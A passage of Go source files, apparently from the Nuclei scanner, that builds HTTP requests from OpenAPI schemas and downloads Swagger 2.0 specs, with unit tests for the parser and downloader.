v.Parameters,\n\t\t\t\t\topts:                      opts,\n\t\t\t\t\tcallback:                  callback,\n\t\t\t\t\tmissingParamValueCallback: missingParamValueCallback,\n\t\t\t\t}); err != nil {\n\t\t\t\t\tgologger.Warning().Msgf(\"Could not generate requests from op: %s\\n\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(missingVarMap) > 0 && !opts.SkipFormatValidation {\n\t\tgologger.Error().Msgf(\"openapi: Found %d missing parameters, use -skip-format-validation flag to skip requests or update missing parameters generated in %s file,you can also specify these vars using -var flag in (key=value) format\\n\", len(missingVarMap), formats.DefaultVarDumpFileName)\n\t\tgologger.Verbose().Msgf(\"openapi: missing params: %+v\", mapsutil.GetSortedKeys(missingVarMap))\n\t\tif config.CurrentAppMode == config.AppModeCLI {\n\t\t\t// generate var dump file\n\t\t\tvars := &formats.OpenAPIParamsCfgFile{}\n\t\t\tfor k := range missingVarMap {\n\t\t\t\tvars.Var = append(vars.Var, k+\"=\")\n\t\t\t}\n\t\t\tvars.OptionalVars = mapsutil.GetSortedKeys(optionalVarMap)\n\t\t\tif err := formats.WriteOpenAPIVarDumpFile(vars); err != nil {\n\t\t\t\tgologger.Error().Msgf(\"openapi: could not write params file: %s\\n\", err)\n\t\t\t}\n\t\t\t// exit with status code 1\n\t\t\tos.Exit(1)\n\t\t}\n\t}\n\n\treturn nil\n}\n\ntype generateReqOptions struct {\n\t// requiredOnly specifies whether to generate only required fields\n\trequiredOnly bool\n\t// method is the http method to use\n\tmethod string\n\t// pathURL is the base url to use\n\tpathURL string\n\t// requestPath is the path to use\n\trequestPath string\n\t// schema is the openapi schema to use\n\tschema *openapi3.T\n\t// op is the operation to use\n\top *openapi3.Operation\n\t// post request generation callback\n\tcallback formats.ParseReqRespCallback\n\n\t// global parameters\n\tglobalParams openapi3.Parameters\n\t// requestparams map\n\treqParams openapi3.Parameters\n\t// global var map\n\topts formats.InputFormatOptions\n\t// missingVar Callback\n\tmissingParamValueCallback func(param *openapi3.Parameter, opts *generateReqOptions)\n}\n\n// generateRequestsFromOp generates requests from an operation and some other data\n// about an OpenAPI Schema Path and Method object.\n//\n// It also accepts an optional requiredOnly flag which if specified, only returns the fields\n// of the structure that are required. If false, all fields are returned.\nfunc generateRequestsFromOp(opts *generateReqOptions) error {\n\treq, err := http.NewRequest(opts.method, opts.pathURL+opts.requestPath, nil)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not make request\")\n\t}\n\n\treqParams := opts.reqParams\n\tif reqParams == nil {\n\t\treqParams = openapi3.NewParameters()\n\t}\n\t// add existing req params\n\treqParams = append(reqParams, opts.op.Parameters...)\n\t// check for endpoint specific auth\n\tif opts.op.Security != nil {\n\t\tparams, err := GetGlobalParamsForSecurityRequirement(opts.schema, opts.op.Security)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treqParams = append(reqParams, params...)\n\t} else {\n\t\treqParams = append(reqParams, opts.globalParams...)\n\t}\n\n\tquery := url.Values{}\n\tfor _, parameter := range reqParams {\n\t\tvalue := parameter.Value\n\n\t\tif value.Schema == nil || value.Schema.Value == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\t// paramValue or default value to use\n\t\tvar paramValue interface{}\n\n\t\t// accept override from global variables\n\t\tif val, ok := opts.opts.Variables[value.Name]; ok {\n\t\t\tparamValue = val\n\t\t} else if value.Schema.Value.Default != nil {\n\t\t\tparamValue = value.Schema.Value.Default\n\t\t} else if value.Schema.Value.Example != nil {\n\t\t\tparamValue = value.Schema.Value.Example\n\t\t} else if len(value.Schema.Value.Enum) > 0 {\n\t\t\tparamValue = value.Schema.Value.Enum[0]\n\t\t} else {\n\t\t\tif !opts.opts.SkipFormatValidation {\n\t\t\t\tif opts.missingParamValueCallback != nil {\n\t\t\t\t\topts.missingParamValueCallback(value, opts)\n\t\t\t\t}\n\t\t\t\t// skip request if param in path else skip this param only\n\t\t\t\tif value.Required {\n\t\t\t\t\t// gologger.Verbose().Msgf(\"skipping request [%s] %s due to missing value (%v)\\n\", opts.method, opts.requestPath, value.Name)\n\t\t\t\t\treturn nil\n\t\t\t\t} else {\n\t\t\t\t\t// if it is in path then remove it from path\n\t\t\t\t\topts.requestPath = strings.ReplaceAll(opts.requestPath, fmt.Sprintf(\"{%s}\", value.Name), \"\")\n\t\t\t\t\tif !opts.opts.RequiredOnly {\n\t\t\t\t\t\tgologger.Verbose().Msgf(\"openapi: skipping optional param (%s) in (%v) in request [%s] %s due to missing value (%v)\\n\", value.Name, value.In, opts.method, opts.requestPath, value.Name)\n\t\t\t\t\t}\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\texampleX, err := generateExampleFromSchema(value.Schema.Value)\n\t\t\tif err != nil {\n\t\t\t\t// when failed to generate example\n\t\t\t\t// skip request if param in path else skip this param only\n\t\t\t\tif value.Required {\n\t\t\t\t\tgologger.Verbose().Msgf(\"openapi: skipping request [%s] %s due to missing value (%v)\\n\", opts.method, opts.requestPath, value.Name)\n\t\t\t\t\treturn nil\n\t\t\t\t} else {\n\t\t\t\t\t// if it is in path then remove it from path\n\t\t\t\t\topts.requestPath = strings.ReplaceAll(opts.requestPath, fmt.Sprintf(\"{%s}\", value.Name), \"\")\n\t\t\t\t\tif !opts.opts.RequiredOnly {\n\t\t\t\t\t\tgologger.Verbose().Msgf(\"openapi: skipping optional param (%s) in (%v) in request [%s] %s due to missing value (%v)\\n\", value.Name, value.In, opts.method, opts.requestPath, value.Name)\n\t\t\t\t\t}\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\tparamValue = exampleX\n\t\t}\n\t\tif opts.requiredOnly && !value.Required {\n\t\t\t// remove them from path if any\n\t\t\topts.requestPath = strings.ReplaceAll(opts.requestPath, fmt.Sprintf(\"{%s}\", value.Name), \"\")\n\t\t\tcontinue // Skip this parameter if it is not required and we want only required ones\n\t\t}\n\n\t\tswitch value.In {\n\t\tcase \"query\":\n\t\t\tquery.Set(value.Name, types.ToString(paramValue))\n\t\tcase \"header\":\n\t\t\treq.Header.Set(value.Name, types.ToString(paramValue))\n\t\tcase \"path\":\n\t\t\topts.requestPath = fasttemplate.ExecuteStringStd(opts.requestPath, \"{\", \"}\", map[string]interface{}{\n\t\t\t\tvalue.Name: types.ToString(paramValue),\n\t\t\t})\n\t\tcase \"cookie\":\n\t\t\treq.AddCookie(&http.Cookie{Name: value.Name, Value: types.ToString(paramValue)})\n\t\t}\n\t}\n\treq.URL.RawQuery = query.Encode()\n\treq.URL.Path = opts.requestPath\n\n\tif opts.op.RequestBody != nil {\n\t\tfor content, value := range opts.op.RequestBody.Value.Content {\n\t\t\tcloned := req.Clone(req.Context())\n\n\t\t\tvar val interface{}\n\n\t\t\tif value.Schema == nil || value.Schema.Value == nil {\n\t\t\t\tval = generateEmptySchemaValue(content)\n\t\t\t} else {\n\t\t\t\tvar err error\n\n\t\t\t\tval, err = generateExampleFromSchema(value.Schema.Value)\n\t\t\t\tif err != nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// var body string\n\t\t\tswitch content {\n\t\t\tcase \"application/json\":\n\t\t\t\tif marshalled, err := json.Marshal(val); err == nil {\n\t\t\t\t\t// body = string(marshalled)\n\t\t\t\t\tcloned.Body = io.NopCloser(bytes.NewReader(marshalled))\n\t\t\t\t\tcloned.ContentLength = int64(len(marshalled))\n\t\t\t\t\tcloned.Header.Set(\"Content-Type\", \"application/json\")\n\t\t\t\t}\n\t\t\tcase \"application/xml\":\n\t\t\t\tvalues := mxj.Map(val.(map[string]interface{}))\n\n\t\t\t\tif marshalled, err := values.Xml(); err == nil {\n\t\t\t\t\t// body = string(marshalled)\n\t\t\t\t\tcloned.Body = io.NopCloser(bytes.NewReader(marshalled))\n\t\t\t\t\tcloned.ContentLength = int64(len(marshalled))\n\t\t\t\t\tcloned.Header.Set(\"Content-Type\", \"application/xml\")\n\t\t\t\t} else {\n\t\t\t\t\tgologger.Warning().Msgf(\"openapi: could not encode xml\")\n\t\t\t\t}\n\t\t\tcase \"application/x-www-form-urlencoded\":\n\t\t\t\tif values, ok := val.(map[string]interface{}); ok {\n\t\t\t\t\tcloned.Form = url.Values{}\n\t\t\t\t\tfor k, v := range values {\n\t\t\t\t\t\tcloned.Form.Set(k, types.ToString(v))\n\t\t\t\t\t}\n\t\t\t\t\tencoded := cloned.Form.Encode()\n\t\t\t\t\tcloned.ContentLength = int64(len(encoded))\n\t\t\t\t\t// body = encoded\n\t\t\t\t\tcloned.Body = io.NopCloser(strings.NewReader(encoded))\n\t\t\t\t\tcloned.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\t\t\t\t}\n\t\t\tcase \"multipart/form-data\":\n\t\t\t\tif values, ok := val.(map[string]interface{}); ok {\n\t\t\t\t\tbuffer := &bytes.Buffer{}\n\t\t\t\t\tmultipartWriter := multipart.NewWriter(buffer)\n\t\t\t\t\tfor k, v := range values {\n\t\t\t\t\t\t// This is a file if format is binary, otherwise field\n\t\t\t\t\t\tif property, ok := value.Schema.Value.Properties[k]; ok && property.Value.Format == \"binary\" {\n\t\t\t\t\t\t\tif writer, err := multipartWriter.CreateFormFile(k, k); err == nil {\n\t\t\t\t\t\t\t\t_, _ = writer.Write([]byte(types.ToString(v)))\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t_ = multipartWriter.WriteField(k, types.ToString(v))\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t_ = multipartWriter.Close()\n\t\t\t\t\t// body = buffer.String()\n\t\t\t\t\tcloned.Body = io.NopCloser(buffer)\n\t\t\t\t\tcloned.ContentLength = int64(len(buffer.Bytes()))\n\t\t\t\t\tcloned.Header.Set(\"Content-Type\", multipartWriter.FormDataContentType())\n\t\t\t\t}\n\t\t\tcase \"text/plain\":\n\t\t\t\tstr := types.ToString(val)\n\t\t\t\t// body = str\n\t\t\t\tcloned.Body = io.NopCloser(strings.NewReader(str))\n\t\t\t\tcloned.ContentLength = int64(len(str))\n\t\t\t\tcloned.Header.Set(\"Content-Type\", \"text/plain\")\n\t\t\tcase \"application/octet-stream\":\n\t\t\t\tstr := types.ToString(val)\n\t\t\t\tif str == \"\" {\n\t\t\t\t\t// use two strings\n\t\t\t\t\tstr = \"string1\\nstring2\"\n\t\t\t\t}\n\t\t\t\tif value.Schema != nil && generic.EqualsAny(value.Schema.Value.Format, \"bindary\", \"byte\") {\n\t\t\t\t\tcloned.Body = io.NopCloser(bytes.NewReader([]byte(str)))\n\t\t\t\t\tcloned.ContentLength = int64(len(str))\n\t\t\t\t\tcloned.Header.Set(\"Content-Type\", \"application/octet-stream\")\n\t\t\t\t} else {\n\t\t\t\t\t// use string placeholder\n\t\t\t\t\tcloned.Body = io.NopCloser(strings.NewReader(str))\n\t\t\t\t\tcloned.ContentLength = int64(len(str))\n\t\t\t\t\tcloned.Header.Set(\"Content-Type\", \"text/plain\")\n\t\t\t\t}\n\t\t\tdefault:\n\t\t\t\tgologger.Verbose().Msgf(\"openapi: no correct content type found for body: %s\\n\", content)\n\t\t\t\t// LOG:\treturn errors.New(\"no correct content type found for body\")\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tdumped, err := httputil.DumpRequestOut(cloned, true)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"could not dump request\")\n\t\t\t}\n\n\t\t\trr, err := httpTypes.ParseRawRequestWithURL(string(dumped), cloned.URL.String())\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"could not parse raw request\")\n\t\t\t}\n\t\t\topts.callback(rr)\n\t\t\tcontinue\n\t\t}\n\t}\n\tif opts.op.RequestBody != nil {\n\t\treturn nil\n\t}\n\n\tdumped, err := httputil.DumpRequestOut(req, true)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not dump request\")\n\t}\n\n\trr, err := httpTypes.ParseRawRequestWithURL(string(dumped), req.URL.String())\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not parse raw request\")\n\t}\n\topts.callback(rr)\n\treturn nil\n}\n\n// GetGlobalParamsForSecurityRequirement returns the global parameters for a security requirement\nfunc GetGlobalParamsForSecurityRequirement(schema *openapi3.T, requirement *openapi3.SecurityRequirements) ([]*openapi3.ParameterRef, error) {\n\tglobalParams := openapi3.NewParameters()\n\tif len(schema.Components.SecuritySchemes) == 0 {\n\t\treturn nil, errkit.Newf(\"security requirements (%+v) without any security schemes found in openapi file\", schema.Security)\n\t}\n\tfound := false\n\t// this api is protected for each security scheme pull its corresponding scheme\nschemaLabel:\n\tfor _, security := range *requirement {\n\t\tfor name := range security {\n\t\t\tif scheme, ok := schema.Components.SecuritySchemes[name]; ok {\n\t\t\t\tfound = true\n\t\t\t\tparam, err := GenerateParameterFromSecurityScheme(scheme)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\n\t\t\t\t}\n\t\t\t\tglobalParams = append(globalParams, &openapi3.ParameterRef{Value: param})\n\t\t\t\tcontinue schemaLabel\n\t\t\t}\n\t\t}\n\t\tif !found && len(security) > 1 {\n\t\t\t// if this is case then both security schemes are required\n\t\t\treturn nil, errkit.Newf(\"security requirement (%+v) not found in openapi file\", security)\n\t\t}\n\t}\n\tif !found {\n\t\treturn nil, errkit.Newf(\"security requirement (%+v) not found in openapi file\", requirement)\n\t}\n\n\treturn globalParams, nil\n}\n\n// GenerateParameterFromSecurityScheme generates an example from a schema object\nfunc GenerateParameterFromSecurityScheme(scheme *openapi3.SecuritySchemeRef) (*openapi3.Parameter, error) {\n\tif !generic.EqualsAny(scheme.Value.Type, \"http\", \"apiKey\") {\n\t\treturn nil, errkit.Newf(\"unsupported security scheme type (%s) found in openapi file\", scheme.Value.Type)\n\t}\n\tif scheme.Value.Type == \"http\" {\n\t\t// check scheme\n\t\tif !generic.EqualsAny(scheme.Value.Scheme, \"basic\", \"bearer\") {\n\t\t\treturn nil, errkit.Newf(\"unsupported security scheme (%s) found in openapi file\", scheme.Value.Scheme)\n\t\t}\n\t\t// HTTP authentication schemes basic or bearer use the Authorization header\n\t\theaderName := scheme.Value.Name\n\t\tif headerName == \"\" {\n\t\t\theaderName = DEFAULT_HTTP_SCHEME_HEADER\n\t\t}\n\t\t// create parameters using the scheme\n\t\tswitch scheme.Value.Scheme {\n\t\tcase \"basic\":\n\t\t\th := openapi3.NewHeaderParameter(headerName)\n\t\t\th.Required = true\n\t\t\th.Description = globalAuth // differentiator for normal variables and global auth\n\t\t\treturn h, nil\n\t\tcase \"bearer\":\n\t\t\th := openapi3.NewHeaderParameter(headerName)\n\t\t\th.Required = true\n\t\t\th.Description = globalAuth // differentiator for normal variables and global auth\n\t\t\treturn h, nil\n\t\t}\n\n\t}\n\tif scheme.Value.Type == \"apiKey\" {\n\t\t// validate name and in\n\t\tif scheme.Value.Name == \"\" {\n\t\t\treturn nil, errkit.Newf(\"security scheme (%s) name is empty\", scheme.Value.Type)\n\t\t}\n\t\tif !generic.EqualsAny(scheme.Value.In, \"query\", \"header\", \"cookie\") {\n\t\t\treturn nil, errkit.Newf(\"unsupported security scheme (%s) in (%s) found in openapi file\", scheme.Value.Type, scheme.Value.In)\n\t\t}\n\t\t// create parameters using the scheme\n\t\tswitch scheme.Value.In {\n\t\tcase \"query\":\n\t\t\tq := openapi3.NewQueryParameter(scheme.Value.Name)\n\t\t\tq.Required = true\n\t\t\tq.Description = globalAuth // differentiator for normal variables and global auth\n\t\t\treturn q, nil\n\t\tcase \"header\":\n\t\t\th := openapi3.NewHeaderParameter(scheme.Value.Name)\n\t\t\th.Required = true\n\t\t\th.Description = globalAuth // differentiator for normal variables and global auth\n\t\t\treturn h, nil\n\t\tcase \"cookie\":\n\t\t\tc := openapi3.NewCookieParameter(scheme.Value.Name)\n\t\t\tc.Required = true\n\t\t\tc.Description = globalAuth // differentiator for normal variables and global auth\n\t\t\treturn c, nil\n\t\t}\n\t}\n\treturn nil, errkit.Newf(\"unsupported security scheme type (%s) found in openapi file\", scheme.Value.Type)\n}\n"
  },
  {
    "path": "pkg/input/formats/openapi/openapi.go",
    "content": "package openapi\n\nimport (\n\t\"io\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/formats\"\n)\n\n// OpenAPIFormat is a OpenAPI Schema File parser\ntype OpenAPIFormat struct {\n\topts formats.InputFormatOptions\n}\n\n// New creates a new OpenAPI format parser\nfunc New() *OpenAPIFormat {\n\treturn &OpenAPIFormat{}\n}\n\nvar _ formats.Format = &OpenAPIFormat{}\n\n// Name returns the name of the format\nfunc (j *OpenAPIFormat) Name() string {\n\treturn \"openapi\"\n}\n\nfunc (j *OpenAPIFormat) SetOptions(options formats.InputFormatOptions) {\n\tj.opts = options\n}\n\n// Parse parses the input and calls the provided callback\n// function for each RawRequest it discovers.\nfunc (j *OpenAPIFormat) Parse(input io.Reader, resultsCb formats.ParseReqRespCallback, filePath string) error {\n\tloader := openapi3.NewLoader()\n\tschema, err := loader.LoadFromIoReader(input)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not decode openapi 3.0 schema\")\n\t}\n\treturn GenerateRequestsFromSchema(schema, j.opts, resultsCb)\n}\n"
  },
  {
    "path": "pkg/input/formats/openapi/openapi_test.go",
    "content": "package openapi\n\nimport (\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/types\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nconst baseURL = \"http://hackthebox:5000\"\n\nvar methodToURLs = map[string][]string{\n\t\"GET\": {\n\t\t\"{{baseUrl}}/createdb\",\n\t\t\"{{baseUrl}}/\",\n\t\t\"{{baseUrl}}/users/v1/John.Doe\",\n\t\t\"{{baseUrl}}/users/v1\",\n\t\t\"{{baseUrl}}/users/v1/_debug\",\n\t\t\"{{baseUrl}}/books/v1\",\n\t\t\"{{baseUrl}}/books/v1/bookTitle77\",\n\t},\n\t\"POST\": {\n\t\t\"{{baseUrl}}/users/v1/register\",\n\t\t\"{{baseUrl}}/users/v1/login\",\n\t\t\"{{baseUrl}}/books/v1\",\n\t},\n\t\"PUT\": {\n\t\t\"{{baseUrl}}/users/v1/name1/email\",\n\t\t\"{{baseUrl}}/users/v1/name1/password\",\n\t},\n\t\"DELETE\": {\n\t\t\"{{baseUrl}}/users/v1/name1\",\n\t},\n}\n\nfunc TestOpenAPIParser(t *testing.T) {\n\tformat := New()\n\n\tproxifyInputFile := \"../testdata/openapi.yaml\"\n\n\tgotMethodsToURLs := make(map[string][]string)\n\n\tfile, err := os.Open(proxifyInputFile)\n\trequire.Nilf(t, err, \"error opening proxify input file: %v\", err)\n\tdefer func() {\n\t\t_ = file.Close()\n\t}()\n\n\terr = format.Parse(file, func(rr *types.RequestResponse) bool {\n\t\tgotMethodsToURLs[rr.Request.Method] = append(gotMethodsToURLs[rr.Request.Method],\n\t\t\tstrings.Replace(rr.URL.String(), baseURL, \"{{baseUrl}}\", 1))\n\t\treturn false\n\t}, proxifyInputFile)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(gotMethodsToURLs) != len(methodToURLs) {\n\t\tt.Fatalf(\"invalid number of methods: %d\", len(gotMethodsToURLs))\n\t}\n\n\tfor method, urls := range gotMethodsToURLs {\n\t\tif len(urls) != len(methodToURLs[method]) {\n\t\t\tt.Fatalf(\"invalid number of urls for method %s: %d\", method, len(urls))\n\t\t}\n\t\trequire.ElementsMatch(t, urls, methodToURLs[method], \"invalid urls for method %s\", method)\n\t}\n}\n"
  },
  {
    "path": "pkg/input/formats/swagger/downloader.go",
    "content": "package swagger\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/formats\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\t\"gopkg.in/yaml.v3\"\n)\n\n// SwaggerDownloader implements the SpecDownloader interface for Swagger 2.0 specs\ntype SwaggerDownloader struct{}\n\n// NewDownloader creates a new Swagger downloader\nfunc NewDownloader() formats.SpecDownloader {\n\treturn &SwaggerDownloader{}\n}\n\n// This function downloads a Swagger 2.0 spec from the given URL and saves it to tmpDir\nfunc (d *SwaggerDownloader) Download(urlStr, tmpDir string, httpClient *retryablehttp.Client) (string, error) {\n\t// Swagger can be JSON or YAML\n\tsupportedExts := d.SupportedExtensions()\n\tisSupported := false\n\tfor _, ext := range supportedExts {\n\t\tif strings.HasSuffix(urlStr, ext) {\n\t\t\tisSupported = true\n\t\t\tbreak\n\t\t}\n\t}\n\tif !isSupported {\n\t\treturn \"\", fmt.Errorf(\"URL does not appear to be a Swagger spec (supported: %v)\", supportedExts)\n\t}\n\n\tconst maxSpecSizeBytes = 10 * 1024 * 1024 // 10MB\n\n\t// Use provided httpClient or create a fallback\n\tvar client *http.Client\n\tif httpClient != nil {\n\t\tclient = httpClient.HTTPClient\n\t} else {\n\t\t// Fallback to simple client if no httpClient provided\n\t\tclient = &http.Client{Timeout: 30 * time.Second}\n\t}\n\n\tresp, err := client.Get(urlStr)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"failed to download Swagger spec\")\n\t}\n\n\tdefer func() {\n\t\t_ = resp.Body.Close()\n\t}()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn \"\", fmt.Errorf(\"HTTP %d when downloading Swagger spec\", resp.StatusCode)\n\t}\n\n\tbodyBytes, err := io.ReadAll(io.LimitReader(resp.Body, maxSpecSizeBytes))\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"failed to read response body\")\n\t}\n\n\t// Determine format and parse\n\tvar spec map[string]interface{}\n\tvar isYAML bool\n\n\t// Try JSON first\n\tif err := json.Unmarshal(bodyBytes, &spec); err != nil {\n\t\t// Then try YAML\n\t\tif err := yaml.Unmarshal(bodyBytes, &spec); err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"downloaded content is neither valid JSON nor YAML: %w\", err)\n\t\t}\n\t\tisYAML = true\n\t}\n\n\t// Validate it's a Swagger 2.0 spec\n\tif swagger, exists := spec[\"swagger\"]; exists {\n\t\tif swaggerStr, ok := swagger.(string); ok && strings.HasPrefix(swaggerStr, \"2.\") {\n\t\t\t// Valid Swagger 2.0 spec\n\t\t} else {\n\t\t\treturn \"\", fmt.Errorf(\"not a valid Swagger 2.0 spec (found version: %v)\", swagger)\n\t\t}\n\t} else {\n\t\treturn \"\", fmt.Errorf(\"not a Swagger spec (missing 'swagger' field)\")\n\t}\n\n\t// Extract host from URL for host configuration\n\tparsedURL, err := url.Parse(urlStr)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"failed to parse URL\")\n\t}\n\n\thost := parsedURL.Host\n\tscheme := parsedURL.Scheme\n\tif scheme == \"\" {\n\t\tscheme = \"https\"\n\t}\n\n\t// Add host if missing\n\tif _, exists := spec[\"host\"]; !exists {\n\t\tspec[\"host\"] = host\n\t}\n\n\t// Add schemes if missing\n\tif _, exists := spec[\"schemes\"]; !exists {\n\t\tspec[\"schemes\"] = []string{scheme}\n\t}\n\n\t// Create output directory\n\tswaggerDir := filepath.Join(tmpDir, \"swagger\")\n\tif err := os.MkdirAll(swaggerDir, 0755); err != nil {\n\t\treturn \"\", errors.Wrap(err, \"failed to create swagger directory\")\n\t}\n\n\t// Generate filename and content based on original format\n\tvar filename string\n\tvar content []byte\n\n\tif isYAML {\n\t\tfilename = fmt.Sprintf(\"swagger-spec-%d.yaml\", time.Now().Unix())\n\t\tcontent, err = yaml.Marshal(spec)\n\t\tif err != nil {\n\t\t\treturn \"\", errors.Wrap(err, \"failed to marshal modified YAML spec\")\n\t\t}\n\t} else {\n\t\tfilename = fmt.Sprintf(\"swagger-spec-%d.json\", time.Now().Unix())\n\t\tcontent, err = json.Marshal(spec)\n\t\tif err != nil {\n\t\t\treturn \"\", errors.Wrap(err, \"failed to marshal modified JSON spec\")\n\t\t}\n\t}\n\n\tfilePath := filepath.Join(swaggerDir, filename)\n\n\t// Write file\n\tfile, err := os.Create(filePath)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"failed to create file\")\n\t}\n\n\tdefer func() {\n\t\t_ = file.Close()\n\t}()\n\n\tif _, writeErr := file.Write(content); writeErr != nil {\n\t\t_ = os.Remove(filePath)\n\t\treturn \"\", errors.Wrap(writeErr, \"failed to write file\")\n\t}\n\n\treturn filePath, nil\n}\n\n// SupportedExtensions returns the list of supported file extensions for Swagger\nfunc (d *SwaggerDownloader) SupportedExtensions() []string {\n\treturn []string{\".json\", \".yaml\", \".yml\"}\n}\n"
  },
  {
    "path": "pkg/input/formats/swagger/downloader_test.go",
    "content": "package swagger\n\nimport (\n\t\"encoding/json\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"gopkg.in/yaml.v3\"\n)\n\nfunc TestSwaggerDownloader_SupportedExtensions(t *testing.T) {\n\tdownloader := &SwaggerDownloader{}\n\textensions := downloader.SupportedExtensions()\n\n\texpected := []string{\".json\", \".yaml\", \".yml\"}\n\tif len(extensions) != len(expected) {\n\t\tt.Errorf(\"Expected %d extensions, got %d\", len(expected), len(extensions))\n\t}\n\n\tfor i, ext := range extensions {\n\t\tif ext != expected[i] {\n\t\t\tt.Errorf(\"Expected extension %s, got %s\", expected[i], ext)\n\t\t}\n\t}\n}\n\nfunc TestSwaggerDownloader_Download_JSON_Success(t *testing.T) {\n\t// Create a mock Swagger spec (JSON)\n\tmockSpec := map[string]interface{}{\n\t\t\"swagger\": \"2.0\",\n\t\t\"info\": map[string]interface{}{\n\t\t\t\"title\":   \"Test API\",\n\t\t\t\"version\": \"1.0.0\",\n\t\t},\n\t\t\"paths\": map[string]interface{}{\n\t\t\t\"/test\": map[string]interface{}{\n\t\t\t\t\"get\": map[string]interface{}{\n\t\t\t\t\t\"summary\": \"Test endpoint\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\t// Create mock server\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tif err := json.NewEncoder(w).Encode(mockSpec); err != nil {\n\t\t\thttp.Error(w, \"failed to encode response\", http.StatusInternalServerError)\n\t\t}\n\t}))\n\tdefer server.Close()\n\n\t// Create temp directory\n\ttmpDir, err := os.MkdirTemp(\"\", \"swagger_test\")\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create temp dir: %v\", err)\n\t}\n\n\tdefer func() {\n\t\tif err := os.RemoveAll(tmpDir); err != nil {\n\t\t\tt.Fatalf(\"Failed to remove temp dir: %v\", err)\n\t\t}\n\t}()\n\n\t// Test download\n\tdownloader := &SwaggerDownloader{}\n\tfilePath, err := downloader.Download(server.URL+\"/swagger.json\", tmpDir, nil)\n\tif err != nil {\n\t\tt.Fatalf(\"Download failed: %v\", err)\n\t}\n\n\t// Verify file exists\n\tif !fileExists(filePath) {\n\t\tt.Errorf(\"Downloaded file does not exist: %s\", filePath)\n\t}\n\n\t// Verify file content\n\tcontent, err := os.ReadFile(filePath)\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to read downloaded file: %v\", err)\n\t}\n\n\tvar downloadedSpec map[string]interface{}\n\tif err := json.Unmarshal(content, &downloadedSpec); err != nil {\n\t\tt.Fatalf(\"Failed to parse downloaded JSON: %v\", err)\n\t}\n\n\t// Verify host field was added\n\t_, exists := downloadedSpec[\"host\"]\n\tif !exists {\n\t\tt.Error(\"Host field was not added to the spec\")\n\t}\n}\n\nfunc TestSwaggerDownloader_Download_YAML_Success(t *testing.T) {\n\t// Create a mock Swagger spec (YAML)\n\tmockSpecYAML := `\nswagger: \"2.0\"\ninfo:\n  title: \"Test API\"\n  version: \"1.0.0\"\npaths:\n  /test:\n    get:\n      summary: \"Test endpoint\"\n`\n\n\t// Create mock server\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Content-Type\", \"application/yaml\")\n\t\tif _, err := w.Write([]byte(mockSpecYAML)); err != nil {\n\t\t\thttp.Error(w, \"failed to write response\", http.StatusInternalServerError)\n\t\t}\n\t}))\n\n\tdefer server.Close()\n\n\t// Create temp directory\n\ttmpDir, err := os.MkdirTemp(\"\", \"swagger_test\")\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create temp dir: %v\", err)\n\t}\n\n\tdefer func() {\n\t\tif err := os.RemoveAll(tmpDir); err != nil {\n\t\t\tt.Fatalf(\"Failed to remove temp dir: %v\", err)\n\t\t}\n\t}()\n\n\t// Test download\n\tdownloader := &SwaggerDownloader{}\n\tfilePath, err := downloader.Download(server.URL+\"/swagger.yaml\", tmpDir, nil)\n\tif err != nil {\n\t\tt.Fatalf(\"Download failed: %v\", err)\n\t}\n\n\t// Verify file exists\n\tif !fileExists(filePath) {\n\t\tt.Errorf(\"Downloaded file does not exist: %s\", filePath)\n\t}\n\n\t// Verify file content\n\tcontent, err := os.ReadFile(filePath)\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to read downloaded file: %v\", err)\n\t}\n\n\tvar downloadedSpec map[string]interface{}\n\tif err := yaml.Unmarshal(content, &downloadedSpec); err != nil {\n\t\tt.Fatalf(\"Failed to parse downloaded YAML: %v\", err)\n\t}\n\n\t// Verify host field was 